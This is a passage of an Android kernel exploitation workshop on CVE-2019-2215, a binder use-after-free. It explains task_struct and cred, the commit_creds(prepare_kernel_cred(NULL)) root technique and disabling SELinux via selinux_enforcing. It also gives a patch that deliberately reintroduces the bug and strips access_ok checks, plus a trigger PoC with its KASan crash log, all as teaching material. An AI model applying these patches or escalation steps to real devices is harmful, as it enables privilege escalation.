unsigned long stack_canary;\n#endif\n /*\n * Pointers to the (original) parent process, youngest child, younger sibling,\n * older sibling, respectively. (p->father can be replaced with\n * p->real_parent->pid)\n */\n\n /* Real parent process: */\n struct task_struct __rcu *real_parent;\n\n /* Recipient of SIGCHLD, wait4() reports: */\n struct task_struct __rcu *parent;\n\n /*\n * Children/sibling form the list of natural children:\n */\n struct list_head children;\n struct list_head sibling;\n struct task_struct *group_leader;\n\n /*\n * 'ptraced' is the list of tasks this task is using ptrace() on.\n *\n * This includes both natural children and PTRACE_ATTACH targets.\n * 'ptrace_entry' is this task's link on the p->parent->ptraced list.\n */\n struct list_head ptraced;\n struct list_head ptrace_entry;\n\n /* PID/PID hash table linkage. */\n struct pid_link pids[PIDTYPE_MAX];\n struct list_head thread_group;\n struct list_head thread_node;\n\n struct completion *vfork_done;\n\n /* CLONE_CHILD_SETTID: */\n int __user *set_child_tid;\n\n /* CLONE_CHILD_CLEARTID: */\n int __user *clear_child_tid;\n\n u64 utime;\n u64 stime;\n#ifdef CONFIG_ARCH_HAS_SCALED_CPUTIME\n u64 utimescaled;\n u64 stimescaled;\n#endif\n u64 gtime;\n#ifdef CONFIG_CPU_FREQ_TIMES\n u64 *time_in_state;\n unsigned int max_state;\n#endif\n struct prev_cputime prev_cputime;\n#ifdef CONFIG_VIRT_CPU_ACCOUNTING_GEN\n struct vtime vtime;\n#endif\n\n#ifdef CONFIG_NO_HZ_FULL\n atomic_t tick_dep_mask;\n#endif\n /* Context switch counts: */\n unsigned long nvcsw;\n unsigned long nivcsw;\n\n /* Monotonic time in nsecs: */\n u64 start_time;\n\n /* Boot based time in nsecs: */\n u64 real_start_time;\n\n /* MM fault and swap info: this can arguably be seen as either mm-specific or thread-specific: */\n unsigned long min_flt;\n unsigned long maj_flt;\n\n#ifdef CONFIG_POSIX_TIMERS\n struct task_cputime cputime_expires;\n struct list_head cpu_timers[3];\n#endif\n\n /* Process credentials: */\n\n /* Tracer's credentials at attach: */\n const struct cred __rcu *ptracer_cred;\n\n /* Objective and real subjective task credentials (COW): */\n const struct cred __rcu *real_cred;\n\n /* Effective (overridable) subjective task credentials (COW): */\n const struct cred __rcu *cred;\n\n /*\n * executable name, excluding path.\n *\n * - normally initialized setup_new_exec()\n * - access it with [gs]et_task_comm()\n * - lock it with task_lock()\n */\n char comm[TASK_COMM_LEN];\n\n struct nameidata *nameidata;\n\n#ifdef CONFIG_SYSVIPC\n struct sysv_sem sysvsem;\n struct sysv_shm sysvshm;\n#endif\n#ifdef CONFIG_DETECT_HUNG_TASK\n unsigned long last_switch_count;\n#endif\n /* Filesystem information: */\n struct fs_struct *fs;\n\n /* Open file information: */\n struct files_struct *files;\n\n /* Namespaces: */\n struct nsproxy *nsproxy;\n\n /* Signal handlers: */\n struct signal_struct *signal;\n struct sighand_struct *sighand;\n sigset_t blocked;\n sigset_t real_blocked;\n /* Restored if set_restore_sigmask() was used: */\n sigset_t saved_sigmask;\n struct sigpending pending;\n unsigned long sas_ss_sp;\n size_t sas_ss_size;\n unsigned int sas_ss_flags;\n\n struct callback_head *task_works;\n\n struct audit_context *audit_context;\n#ifdef CONFIG_AUDITSYSCALL\n kuid_t loginuid;\n unsigned int sessionid;\n#endif\n struct seccomp seccomp;\n\n /* Thread group tracking: */\n u32 parent_exec_id;\n u32 self_exec_id;\n\n /* Protection against (de-)allocation: mm, files, fs, tty, keyrings, mems_allowed, mempolicy: */\n spinlock_t alloc_lock;\n\n /* Protection of the PI data structures: */\n raw_spinlock_t pi_lock;\n\n struct wake_q_node wake_q;\n\n#ifdef CONFIG_RT_MUTEXES\n /* PI waiters blocked on a rt_mutex held by this task: */\n struct rb_root_cached pi_waiters;\n /* Updated under owner's pi_lock and rq lock */\n struct task_struct *pi_top_task;\n /* Deadlock detection and priority inheritance handling: */\n struct rt_mutex_waiter *pi_blocked_on;\n#endif\n\n#ifdef CONFIG_DEBUG_MUTEXES\n /* Mutex deadlock detection: */\n struct mutex_waiter *blocked_on;\n#endif\n\n#ifdef CONFIG_TRACE_IRQFLAGS\n unsigned int irq_events;\n unsigned long hardirq_enable_ip;\n unsigned long hardirq_disable_ip;\n unsigned int hardirq_enable_event;\n unsigned int hardirq_disable_event;\n int hardirqs_enabled;\n int hardirq_context;\n unsigned long softirq_disable_ip;\n unsigned long softirq_enable_ip;\n unsigned int softirq_disable_event;\n unsigned int softirq_enable_event;\n int softirqs_enabled;\n int softirq_context;\n#endif\n\n#ifdef CONFIG_LOCKDEP\n# define MAX_LOCK_DEPTH 48UL\n u64 curr_chain_key;\n int lockdep_depth;\n unsigned int lockdep_recursion;\n struct held_lock held_locks[MAX_LOCK_DEPTH];\n#endif\n\n#ifdef CONFIG_LOCKDEP_CROSSRELEASE\n#define MAX_XHLOCKS_NR 64UL\n struct hist_lock *xhlocks; /* Crossrelease history locks */\n unsigned int xhlock_idx;\n /* For restoring at history boundaries */\n unsigned int xhlock_idx_hist[XHLOCK_CTX_NR];\n unsigned int hist_id;\n /* For overwrite check at each context exit */\n unsigned int hist_id_save[XHLOCK_CTX_NR];\n#endif\n\n#ifdef CONFIG_UBSAN\n unsigned int in_ubsan;\n#endif\n\n /* Journalling filesystem info: */\n void *journal_info;\n\n /* Stacked block device info: */\n struct bio_list *bio_list;\n\n#ifdef CONFIG_BLOCK\n /* Stack plugging: */\n struct blk_plug *plug;\n#endif\n\n /* VM state: */\n struct reclaim_state *reclaim_state;\n\n struct backing_dev_info *backing_dev_info;\n\n struct io_context *io_context;\n\n /* Ptrace state: */\n unsigned long ptrace_message;\n siginfo_t *last_siginfo;\n\n struct task_io_accounting ioac;\n#ifdef CONFIG_PSI\n /* Pressure stall state */\n unsigned int psi_flags;\n#endif\n#ifdef CONFIG_TASK_XACCT\n /* Accumulated RSS usage: */\n u64 acct_rss_mem1;\n /* Accumulated virtual memory usage: */\n u64 acct_vm_mem1;\n /* stime + utime since last update: */\n u64 acct_timexpd;\n#endif\n#ifdef CONFIG_CPUSETS\n /* Protected by ->alloc_lock: */\n nodemask_t mems_allowed;\n /* Seqence number to catch updates: */\n seqcount_t mems_allowed_seq;\n int cpuset_mem_spread_rotor;\n int cpuset_slab_spread_rotor;\n#endif\n#ifdef CONFIG_CGROUPS\n /* Control Group info protected by css_set_lock: */\n struct css_set __rcu *cgroups;\n /* cg_list protected by css_set_lock and tsk->alloc_lock: */\n struct list_head cg_list;\n#endif\n#ifdef CONFIG_INTEL_RDT\n u32 closid;\n u32 rmid;\n#endif\n#ifdef CONFIG_FUTEX\n struct robust_list_head __user *robust_list;\n#ifdef CONFIG_COMPAT\n struct compat_robust_list_head __user *compat_robust_list;\n#endif\n struct list_head pi_state_list;\n struct futex_pi_state *pi_state_cache;\n#endif\n#ifdef CONFIG_PERF_EVENTS\n struct perf_event_context *perf_event_ctxp[perf_nr_task_contexts];\n struct mutex perf_event_mutex;\n struct list_head perf_event_list;\n#endif\n#ifdef CONFIG_DEBUG_PREEMPT\n unsigned long preempt_disable_ip;\n#endif\n#ifdef CONFIG_NUMA\n /* Protected by alloc_lock: */\n struct mempolicy *mempolicy;\n short il_prev;\n short pref_node_fork;\n#endif\n#ifdef CONFIG_NUMA_BALANCING\n int numa_scan_seq;\n unsigned int numa_scan_period;\n unsigned int numa_scan_period_max;\n int numa_preferred_nid;\n unsigned long numa_migrate_retry;\n /* Migration stamp: */\n u64 node_stamp;\n u64 last_task_numa_placement;\n u64 last_sum_exec_runtime;\n struct callback_head numa_work;\n\n struct list_head numa_entry;\n struct numa_group *numa_group;\n\n /*\n * numa_faults is an array split into four regions:\n * faults_memory, faults_cpu, faults_memory_buffer, faults_cpu_buffer\n * in this precise order.\n *\n * faults_memory: Exponential decaying average of faults on a per-node\n * basis. Scheduling placement decisions are made based on these\n * counts. The values remain static for the duration of a PTE scan.\n * faults_cpu: Track the nodes the process was running on when a NUMA\n * hinting fault was incurred.\n * faults_memory_buffer and faults_cpu_buffer: Record faults per node\n * during the current scan window. When the scan completes, the counts\n * in faults_memory and faults_cpu decay and these values are copied.\n */\n unsigned long *numa_faults;\n unsigned long total_numa_faults;\n\n /*\n * numa_faults_locality tracks if faults recorded during the last\n * scan window were remote/local or failed to migrate. The task scan\n * period is adapted based on the locality of the faults with different\n * weights depending on whether they were shared or private faults\n */\n unsigned long numa_faults_locality[3];\n\n unsigned long numa_pages_migrated;\n#endif /* CONFIG_NUMA_BALANCING */\n\n struct tlbflush_unmap_batch tlb_ubc;\n\n struct rcu_head rcu;\n\n /* Cache last used pipe for splice(): */\n struct pipe_inode_info *splice_pipe;\n\n struct page_frag task_frag;\n\n#ifdef CONFIG_TASK_DELAY_ACCT\n struct task_delay_info *delays;\n#endif\n\n#ifdef CONFIG_FAULT_INJECTION\n int make_it_fail;\n unsigned int fail_nth;\n#endif\n /*\n * When (nr_dirtied >= nr_dirtied_pause), it's time to call\n * balance_dirty_pages() for a dirty throttling pause:\n */\n int nr_dirtied;\n int nr_dirtied_pause;\n /* Start of a write-and-pause period: */\n unsigned long dirty_paused_when;\n\n#ifdef CONFIG_LATENCYTOP\n int latency_record_count;\n struct latency_record latency_record[LT_SAVECOUNT];\n#endif\n /*\n * Time slack values; these are used to round up poll() and\n * select() etc timeout values. These are in nanoseconds.\n */\n u64 timer_slack_ns;\n u64 default_timer_slack_ns;\n\n#ifdef CONFIG_KASAN\n unsigned int kasan_depth;\n#endif\n\n#ifdef CONFIG_FUNCTION_GRAPH_TRACER\n /* Index of current stored address in ret_stack: */\n int curr_ret_stack;\n\n /* Stack of return addresses for return function tracing: */\n struct ftrace_ret_stack *ret_stack;\n\n /* Timestamp for last schedule: */\n unsigned long long ftrace_timestamp;\n\n /*\n * Number of functions that haven't been traced\n * because of depth overrun:\n */\n atomic_t trace_overrun;\n\n /* Pause tracing: */\n atomic_t tracing_graph_pause;\n#endif\n\n#ifdef CONFIG_TRACING\n /* State flags for use by tracers: */\n unsigned long trace;\n\n /* Bitmask and counter of trace recursion: */\n unsigned long trace_recursion;\n#endif /* CONFIG_TRACING */\n\n#ifdef CONFIG_KCOV\n /* Coverage collection mode enabled for this task (0 if disabled): */\n enum kcov_mode kcov_mode;\n\n /* Size of the kcov_area: */\n unsigned int kcov_size;\n\n /* Buffer for coverage collection: */\n void *kcov_area;\n\n /* KCOV descriptor wired with this task or NULL: */\n struct kcov *kcov;\n#endif\n\n#ifdef CONFIG_MEMCG\n struct mem_cgroup *memcg_in_oom;\n gfp_t memcg_oom_gfp_mask;\n int memcg_oom_order;\n\n /* Number of pages to reclaim on returning to userland: */\n unsigned int memcg_nr_pages_over_high;\n#endif\n\n#ifdef CONFIG_UPROBES\n struct uprobe_task *utask;\n#endif\n#if defined(CONFIG_BCACHE) || defined(CONFIG_BCACHE_MODULE)\n unsigned int sequential_io;\n unsigned int sequential_io_avg;\n#endif\n#ifdef CONFIG_DEBUG_ATOMIC_SLEEP\n unsigned long task_state_change;\n#endif\n int pagefault_disabled;\n#ifdef CONFIG_MMU\n struct task_struct *oom_reaper_list;\n#endif\n#ifdef CONFIG_VMAP_STACK\n struct vm_struct *stack_vm_area;\n#endif\n#ifdef CONFIG_THREAD_INFO_IN_TASK\n /* A live task holds one reference: */\n atomic_t stack_refcount;\n#endif\n#ifdef CONFIG_LIVEPATCH\n int patch_state;\n#endif\n#ifdef CONFIG_SECURITY\n /* Used by LSM modules for access restriction: */\n void *security;\n#endif\n\n /*\n * New fields for task_struct should be added above here, so that\n * they are included in the randomized portion of task_struct.\n */\n randomized_struct_fields_end\n\n /* CPU-specific state of this task: */\n struct thread_struct thread;\n\n /*\n * WARNING: on x86, 'thread_struct' contains a variable-sized\n * structure. It *MUST* be at the end of 'task_struct'.\n *\n * Do not put anything below here!\n */\n};\n\nThis data structure contains all the information to manage a process. One of the interesting members in this task_struct structure is cred.\nProcess Credentials \nThe security context of a task is defined by struct cred and is defined in include/linux/cred.h.\nstruct cred {\n atomic_t usage;\n#ifdef CONFIG_DEBUG_CREDENTIALS\n atomic_t subscribers; /* number of processes subscribed */\n void *put_addr;\n unsigned magic;\n#define CRED_MAGIC 0x43736564\n#define CRED_MAGIC_DEAD 0x44656144\n#endif\n kuid_t uid; /* real UID of the task */\n kgid_t gid; /* real GID of the task */\n kuid_t suid; /* saved UID of the task */\n kgid_t sgid; /* saved GID of the task */\n kuid_t euid; /* effective UID of the task */\n kgid_t egid; /* effective GID of the task */\n kuid_t fsuid; /* UID for VFS ops */\n kgid_t fsgid; /* GID for VFS ops */\n unsigned securebits; /* SUID-less security management */\n kernel_cap_t cap_inheritable; /* caps our children can inherit */\n kernel_cap_t cap_permitted; /* caps we're permitted */\n kernel_cap_t cap_effective; /* caps we can actually use */\n kernel_cap_t cap_bset; /* capability bounding set */\n kernel_cap_t cap_ambient; /* Ambient capability set */\n#ifdef CONFIG_KEYS\n unsigned char jit_keyring; /* default keyring to attach requested\n * keys to */\n struct key __rcu *session_keyring; /* keyring inherited over fork */\n struct key *process_keyring; /* keyring private to this process */\n struct key *thread_keyring; /* keyring private to this thread */\n struct key *request_key_auth; /* assumed request_key authority */\n#endif\n#ifdef CONFIG_SECURITY\n void *security; /* subjective LSM security */\n#endif\n struct user_struct *user; /* real user ID subscription */\n struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */\n struct group_info *group_info; /* supplementary groups for euid/fsgid */\n /* RCU deletion */\n union {\n int non_rcu; /* Can we skip RCU deletion? */\n struct rcu_head rcu; /* RCU deletion hook */\n };\n} __randomize_layout;\n\nIn most of the Linux kernel exploits, you must have seen that to achieve root they use \ncommit_creds(prepare_kernel_cred(NULL));\n\nLet's try to look into these two functions and see what they do. First, let's look into prepare_kernel_cred function which is defined in kernel/cred.c.\nstruct cred *prepare_kernel_cred(struct task_struct *daemon)\n{\n const struct cred *old;\n struct cred *new;\n\n new = kmem_cache_alloc(cred_jar, GFP_KERNEL);\n if (!new)\n return NULL;\n\n kdebug(\"prepare_kernel_cred() alloc %p\", new);\n\n if (daemon)\n old = get_task_cred(daemon);\n else\n old = get_cred(&init_cred);\n\n validate_creds(old);\n\n *new = *old;\n [...]\n validate_creds(new);\n return new;\n\nerror:\n [...]\n return NULL;\n}\n\nThis function basically take a pointer task_struct for which we want to prepare kernel credentials. The important part of the function is that if we provide NULL as the pointer to task_struct it will get the default credentials which is init_cred. init_cred is a global struct cred defined in kernel/cred.c which is used to initialize the credentials for the init_task which is the first task in Linux.\n/*\n * The initial credentials for the initial task\n */\nstruct cred init_cred = {\n .usage = ATOMIC_INIT(4),\n#ifdef CONFIG_DEBUG_CREDENTIALS\n .subscribers = ATOMIC_INIT(2),\n .magic = CRED_MAGIC,\n#endif\n .uid = GLOBAL_ROOT_UID,\n .gid = GLOBAL_ROOT_GID,\n .suid = GLOBAL_ROOT_UID,\n .sgid = GLOBAL_ROOT_GID,\n .euid = GLOBAL_ROOT_UID,\n .egid = GLOBAL_ROOT_GID,\n .fsuid = GLOBAL_ROOT_UID,\n .fsgid = GLOBAL_ROOT_GID,\n .securebits = SECUREBITS_DEFAULT,\n .cap_inheritable = CAP_EMPTY_SET,\n .cap_permitted = CAP_FULL_SET,\n .cap_effective = CAP_FULL_SET,\n .cap_bset = CAP_FULL_SET,\n .user = INIT_USER,\n .user_ns = &init_user_ns,\n .group_info = &init_groups,\n};\n\nLet's look at what these defines mean.\n#define GLOBAL_ROOT_UID (uint32_t)0\n#define GLOBAL_ROOT_GID (uint32_t)0\n#define SECUREBITS_DEFAULT (uint32_t)0x00000000\n#define CAP_EMPTY_SET (uint64_t)0\n#define CAP_FULL_SET (uint64_t)0x3FFFFFFFFF\n\ninit_cred basically sets the cred structure as shown below.\ncred->uid = 0;\ncred->gid = 0;\ncred->suid = 0;\ncred->idid = 0;\ncred->euid = 0;\ncred->egid = 0;\ncred->fsuid = 0;\ncred->fsgid = 0;\ncred->securebits = 0;\ncred->cap_inheritable.cap[0] = 0;\ncred->cap_inheritable.cap[1] = 0;\ncred->cap_permitted.cap[0] = 0x3F;\ncred->cap_permitted.cap[1] = 0xFFFFFFFF;\ncred->cap_effective.cap[0] = 0x3F;\ncred->cap_effective.cap[1] = 0xFFFFFFFF;\ncred->cap_bset.cap[0] = 0x3F;\ncred->cap_bset.cap[1] = 0xFFFFFFFF;\ncred->cap_ambient.cap[0] = 0;\ncred->cap_ambient.cap[1] = 0;\n\nLet's look at the commit_creds function and try to understand what it does.\nint commit_creds(struct cred *new)\n{\n struct task_struct *task = current;\n const struct cred *old = task->real_cred;\n\n [...]\n\n rcu_assign_pointer(task->real_cred, new);\n rcu_assign_pointer(task->cred, new);\n\n [...]\n\n return 0;\n}\n\ncommit_creds basically sets the task->real_cred and task->cred with the pointer to new cred structure. However, as we had passed NULL to prepare_kernel_cred address of init_cred.\nThis is how we get root and this basically means privilege escalation\nSELinux \nSecurity-Enhanced Linux was developed by National Security Agency (NSA) using Linux Security Modules (LSM).\nThere are two modes of SELinux\n\npermissive - permission denials are logged but not enforced\nenforcing - permission denials are logged and enforced\n\nIn Android the default mode of SELinux is enforcing and even if we get root, we are subjected to SELinux rules. \ngeneric_x86_64:/ $ getenforce \nEnforcing\n\nSo, we need to disable SELinux as well.\nselinux_enforcing \nselinux_enforcing is a global variable which dictates whether SELinux is enforced or not. If we can figure out where selinux_enforcing is in memory and set it to NULL, then we can disable SELinux globally and now SELinux will be in permissive mode instead of enforcing mode.\nSecComp \nSecComp stands for Secure Computing mode and is a Linux kernel feature that allows to filter system calls. When enabled, the process can only make four system calls read(), write(), exit(), and sigreturn().\nWhen running the exploit from adb shell we are not subjected to seccomp. However, if we bundle the exploit in an Android application, we would be subjected to seccomp.\nIn this workshop, we are not going to look at seccomp.\n"},"chapters/vulnerability-discovery.html":{"url":"chapters/vulnerability-discovery.html","title":"Vulnerability Discovery","keywords":"","body":"Vulnerability Discovery\nWe are going to look at CVE-2019-2215 which is a Use after Free vulnerability in Binder IPC subsystem.\nThis is a very severe vulnerability because binder subsystem is reachable from Chrome sandbox and can lead to privilege escalation if chained with a renderer exploit.\nOriginal Discovery \nThis bug was initially discovered by syzbot (syzkaller bot) in the month of November 2017 without a reproducer. In the month of December 2017 syzbot was able to find a reproducer. You can find the original bug report here https://groups.google.com/forum/#!msg/syzkaller-bugs/QyXdgUhAF50/eLGkcwk9AQAJ\nThis bug was patched in February 2018 without a CVE number. Hence, the patch was not back-ported to many already released devices like Pixel and Pixel 2.\nRediscovery \nThis bug was rediscovered by Maddie Stone (@maddiestone) of Project Zero based on an intelligence report from Google's Threat Analysis Group (TAG). She reported this vulnerability on 27th September 2019. You can find Maddie's report here https://bugs.chromium.org/p/project-zero/issues/detail?id=1942\nThe rediscovery of this bug is very interesting, Maddie documented it with the exploitation primitive here https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html\nI strongly suggest you all to read the blog post, so that you know the interesting story about the rediscovery of this bug.\nPatch \nThis bug got patched in q-goldfish-android-goldfish-4.14-dev with commit id 7a3cee43e935b9d526ad07f20bf005ba7e74d05b.\nashfaq@hacksys:~/workshop/android-4.14-dev$ cd goldfish/\nashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git show 7a3cee43e935b9d526ad07f20bf005ba7e74d05b\n\ncommit 7a3cee43e935b9d526ad07f20bf005ba7e74d05b\nAuthor: Martijn Coenen \nDate: Fri Jan 5 11:27:07 2018 +0100\n\n ANDROID: binder: remove waitqueue when thread exits.\n\n commit f5cb779ba16334b45ba8946d6bfa6d9834d1527f upstream.\n\n binder_poll() passes the thread->wait waitqueue that\n can be slept on for work. When a thread that uses\n epoll explicitly exits using BINDER_THREAD_EXIT,\n the waitqueue is freed, but it is never removed\n from the corresponding epoll data structure. When\n the process subsequently exits, the epoll cleanup\n code tries to access the waitlist, which results in\n a use-after-free.\n\n Prevent this by using POLLFREE when the thread exits.\n\n Signed-off-by: Martijn Coenen \n Reported-by: syzbot \n Signed-off-by: Greg Kroah-Hartman \n\ndiff --git a/drivers/android/binder.c b/drivers/android/binder.c\nindex a340766b51fe..2ef8bd29e188 100644\n--- a/drivers/android/binder.c\n+++ b/drivers/android/binder.c\n@@ -4302,6 +4302,18 @@ static int binder_thread_release(struct binder_proc *proc,\n if (t)\n spin_lock(&t->lock);\n }\n+\n+ /*\n+ * If this thread used poll, make sure we remove the waitqueue\n+ * from any epoll data structures holding it with POLLFREE.\n+ * waitqueue_active() is safe to use here because we're holding\n+ * the inner lock.\n+ */\n+ if ((thread->looper & BINDER_LOOPER_STATE_POLL) &&\n+ waitqueue_active(&thread->wait)) {\n+ wake_up_poll(&thread->wait, POLLHUP | POLLFREE);\n+ }\n+\n binder_inner_proc_unlock(thread->proc);\n\n if (send_reply)\n\n\nNote: You won't be able to see this commit history because we did a shallow clone. However, I have a full clone of the q-goldfish-android-goldfish-4.14-dev branch.\n\n"},"chapters/vulnerability-trigger.html":{"url":"chapters/vulnerability-trigger.html","title":"Vulnerability Trigger","keywords":"","body":"Vulnerability Trigger\nIn Android Kernel Source Code section, we synchronized q-goldfish-android-goldfish-4.14-dev branch. However, CVE-2019-2215 is already patched in q-goldfish-android-goldfish-4.14-dev.\nWe will reintroduce the vulnerability by applying a custom patch and then build it with Kernel Address Sanitizer (KASan) support.\nReintroduction \nYou can find the custom patch in the workshop/patch directory which will reintroduce the vulnerability again.\ndiff --git a/drivers/android/binder.c b/drivers/android/binder.c\nindex f6ddec245187..55e2748a13e4 100644\n--- a/drivers/android/binder.c\n+++ b/drivers/android/binder.c\n@@ -4768,10 +4768,12 @@ static int binder_thread_release(struct binder_proc *proc,\n * waitqueue_active() is safe to use here because we're holding\n * the inner lock.\n */\n+ /*\n if ((thread->looper & BINDER_LOOPER_STATE_POLL) &&\n waitqueue_active(&thread->wait)) {\n wake_up_poll(&thread->wait, POLLHUP | POLLFREE);\n }\n+ */\n\n binder_inner_proc_unlock(thread->proc);\n\n@@ -4781,8 +4783,10 @@ static int binder_thread_release(struct binder_proc *proc,\n * descriptor being closed); ep_remove_waitqueue() holds an RCU read\n * lock, so we can be sure it's done after calling synchronize_rcu().\n */\n+ /*\n if (thread->looper & BINDER_LOOPER_STATE_POLL)\n synchronize_rcu();\n+ */\n\n if (send_reply)\n binder_send_failed_reply(send_reply, BR_DEAD_REPLY);\ndiff --git a/lib/iov_iter.c b/lib/iov_iter.c\nindex 7b2fd5f251f2..67af61637f55 100644\n--- a/lib/iov_iter.c\n+++ b/lib/iov_iter.c\n@@ -132,19 +132,21 @@\n\n static int copyout(void __user *to, const void *from, size_t n)\n {\n- if (access_ok(VERIFY_WRITE, to, n)) {\n+ /*if (access_ok(VERIFY_WRITE, to, n)) {\n kasan_check_read(from, n);\n n = raw_copy_to_user(to, from, n);\n- }\n+ }*/\n+ n = raw_copy_to_user(to, from, n);\n return n;\n }\n\n static int copyin(void *to, const void __user *from, size_t n)\n {\n- if (access_ok(VERIFY_READ, from, n)) {\n+ /*if (access_ok(VERIFY_READ, from, n)) {\n kasan_check_write(to, n);\n n = raw_copy_from_user(to, from, n);\n- }\n+ }*/\n+ n = raw_copy_from_user(to, from, n);\n return n;\n }\n\nLet's apply the patch and see which files are modified.\nashfaq@hacksys:~/workshop/android-4.14-dev$ cd goldfish/\nashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git status\nNot currently on any branch.\nnothing to commit, working tree clean\nashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git apply ~/workshop/patch/cve-2019-2215.patch\nashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git status\nNot currently on any branch.\nChanges not staged for commit:\n (use \"git add ...\" to update what will be committed)\n (use \"git checkout -- ...\" to discard changes in working directory)\n\n modified: drivers/android/binder.c\n modified: lib/iov_iter.c\n\nno changes added to commit (use \"git add\" and/or \"git commit -a\")\n\nPatching drivers/android/binder.c is fine and understandable. But, why we need to patch lib/iov_iter.c?\nThis is because we are also going to use struct iovec as the corruption target as used by Maddie Stone and Jann Horn of Project Zero. However, they wrote the exploit for Android 4.4 kernel which does not have these additional checks in lib/iov_iter.c. \nThat's the reason we revert these new checks with a patch. You will have better idea what I'm talking about as we proceed with the workshop.\nBuild Kernel With KASan \nTo build the kernel with KASan support we will need a configuration file. You will find the config file in workshop/build-configs/goldfish.x86_64.kasan directory.\nARCH=x86_64\nBRANCH=kasan\n\nCC=clang\nCLANG_PREBUILT_BIN=prebuilts-master/clang/host/linux-x86/clang-r377782b/bin\nBUILDTOOLS_PREBUILT_BIN=build/build-tools/path/linux-x86\nCLANG_TRIPLE=x86_64-linux-gnu-\nCROSS_COMPILE=x86_64-linux-androidkernel-\nLINUX_GCC_CROSS_COMPILE_PREBUILTS_BIN=prebuilts/gcc/linux-x86/x86/x86_64-linux-android-4.9/bin\n\nKERNEL_DIR=goldfish\nEXTRA_CMDS=''\nSTOP_SHIP_TRACEPRINTK=1\n\nFILES=\"\narch/x86/boot/bzImage\nvmlinux\nSystem.map\n\"\n\nDEFCONFIG=x86_64_ranchu_defconfig\nPOST_DEFCONFIG_CMDS=\"check_defconfig && update_kasan_config\"\n\nfunction update_kasan_config() {\n ${KERNEL_DIR}/scripts/config --file ${OUT_DIR}/.config \\\n -e CONFIG_KASAN \\\n -e CONFIG_KASAN_INLINE \\\n -e CONFIG_TEST_KASAN \\\n -e CONFIG_KCOV \\\n -e CONFIG_SLUB \\\n -e CONFIG_SLUB_DEBUG \\\n -e CONFIG_SLUB_DEBUG_ON \\\n -d CONFIG_SLUB_DEBUG_PANIC_ON \\\n -d CONFIG_KASAN_OUTLINE \\\n -d CONFIG_KERNEL_LZ4 \\\n -d CONFIG_RANDOMIZE_BASE\n (cd ${OUT_DIR} && \\\n make O=${OUT_DIR} $archsubarch CROSS_COMPILE=${CROSS_COMPILE} olddefconfig)\n}\n\nNow, let's use this config file and start the build process.\nashfaq@hacksys:~/workshop/android-4.14-dev$ BUILD_CONFIG=../build-configs/goldfish.x86_64.kasan build/build.sh\n\nYou can find the built kernel and other files in workshop/android-4.14-dev/out/kasan/dist.\nashfaq@hacksys:~/workshop/android-4.14-dev$ nm out/kasan/dist/vmlinux | grep kasan | head \n000000004cfd027e A __crc_kasan_check_read\n000000009da7c655 A __crc_kasan_check_write\n0000000074961168 A __crc_kasan_kmalloc\n0000000047f78877 A __crc_kasan_restore_multi_shot\n0000000097645739 A __crc_kasan_save_enable_multi_shot\nffffffff806d4d62 T kasan_add_zero_shadow\nffffffff806d3a9c T kasan_alloc_pages\nffffffff806d3b44 T kasan_cache_create\nffffffff806d55b9 T kasan_cache_shrink\nffffffff806d55c4 T kasan_cache_shutdown\n\nBoot Kernel \nLet's boot this custom kernel in emulator.\nashfaq@hacksys:~/workshop/android-4.14-dev$ emulator -show-kernel -no-snapshot -wipe-data -avd CVE-2019-2215 -kernel ~/workshop/android-4.14-dev/out/kasan/dist/bzImage\n\n\nNote: -show-kernel flag is used to display kernel debug messages in the terminal window. Read more about emulator command line flags here https://developer.android.com/studio/run/emulator-commandline\n\nIf you look at kernel log being displayed in the terminal window after running the above command, you will notice this\n[ 0.000000] kasan: KernelAddressSanitizer initialized\nThis is an indicator that we are able to successfully boot a custom kernel built with KASan support.\nCrash \nLet's grab the PoC from the original bug report and see if we are able to trigger the vulnerability and produce a KASan crash.\nYou can find the trigger PoC in workshop/exploit/trigger.cpp. I have provided a Makefile that you can use to build the PoC and push it to the virtual device.\n#include \n#include \n#include \n#include \n\n#define BINDER_THREAD_EXIT 0x40046208ul\n\nint main() {\n int fd, epfd;\n struct epoll_event event = {.events = EPOLLIN};\n\n fd = open(\"/dev/binder\", O_RDONLY);\n epfd = epoll_create(1000);\n epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);\n ioctl(fd, BINDER_THREAD_EXIT, NULL);\n}\n\nashfaq@hacksys:~/workshop$ cd exploit/\nashfaq@hacksys:~/workshop/exploit$ NDK_ROOT=~/Android/Sdk/ndk/21.0.6113669 make build-trigger push-trigger\nBuilding: cve-2019-2215-trigger\nPushing: cve-2019-2215-trigger to /data/local/tmp\ncve-2019-2215-trigger: 1 file pushed, 0 skipped. 44.8 MB/s (3958288 bytes in 0.084s)\n\nashfaq@hacksys:~/workshop/exploit$ adb shell\ngeneric_x86_64:/ $ uname -a\nLinux localhost 4.14.150+ #1 repo:q-goldfish-android-goldfish-4.14-dev SMP PREEMPT Sat Apr x86_64\ngeneric_x86_64:/ $ cd /data/local/tmp\ngeneric_x86_64:/data/local/tmp $ ./cve-2019-2215-trigger\ngeneric_x86_64:/data/local/tmp $\n\nLook at the terminal window from where you launched the emulator, you will see the KASan crash log.\n[ 382.398561] ==================================================================\n[ 382.402796] BUG: KASAN: use-after-free in _raw_spin_lock_irqsave+0x3a/0x5d\n[ 382.405929] Write of size 4 at addr ffff88804e4865c8 by task cve-2019-2215-t/7682\n[ 382.409386] \n[ 382.410127] CPU: 1 PID: 7682 Comm: cve-2019-2215-t Tainted: G W 4.14.150+ #1\n[ 382.413871] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.11.1-0-g0551a4be2c-prebuilt.qemu-project.org 04/01/2014\n[ 382.417931] Call Trace:\n[ 382.419106] dump_stack+0x78/0xbe\n[ 382.420596] print_address_description+0x81/0x25d\n[ 382.422146] ? _raw_spin_lock_irqsave+0x3a/0x5d\n[ 382.423691] __kasan_report+0x14f/0x180\n[ 382.425082] ? _raw_spin_lock_irqsave+0x3a/0x5d\n[ 382.426437] kasan_report+0x26/0x49\n[ 382.427468] check_memory_region+0x171/0x17e\n[ 382.428725] kasan_check_write+0x14/0x16\n[ 382.429884] _raw_spin_lock_irqsave+0x3a/0x5d\n[ 382.431010] remove_wait_queue+0x27/0x122\n[ 382.432003] ? fsnotify_unmount_inodes+0x1e8/0x1e8\n[ 